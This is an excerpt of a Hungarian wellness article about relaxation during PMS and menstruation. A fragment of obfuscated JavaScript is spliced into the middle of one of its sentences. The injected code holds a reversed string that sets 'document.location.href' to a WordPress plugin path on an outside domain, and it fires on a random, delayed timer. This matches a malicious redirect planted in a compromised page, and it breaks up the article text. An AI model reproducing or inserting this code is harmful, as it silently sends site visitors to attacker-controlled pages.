Relaxálj! Ha túl sokat dolgozol és túlfeszíted a húrt, a kimerültség nem csak fáradtság formájában jelentkezhet. Amikor ki vagyunk merülve, kevésbé toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toleráljuk a fájdalmakat, és lelkileg is érzékenyebbek lehetünk. Ha ez az időszakod egybeesik a menstruációddal, még inkább nehezített a pálya. Ha nem tudsz eleget pihenni a PMS és a menstruáció időszakában, azt veheted észre, hogy könnyebben elérzékenyülsz, nehezebben kezeled a konfliktusokat, és úgy általában is feszültebb vagy. Azért, hogy enyhítsd a rád nehezedő terheket, szánj magadra fél órát, és relaxálj! Indíts el egy meditációs zenét, a hétköznapi gondokat hagyd hátra erre a kis időre, és igyekezz teljesen kikapcsolni. Párologtass…
A cikk folytatódik: http://divatesszepseg.co.hu/test-lelek/2021/03/22/ha-kuzdelem-a-menstruacio.html
- Hirdetés -
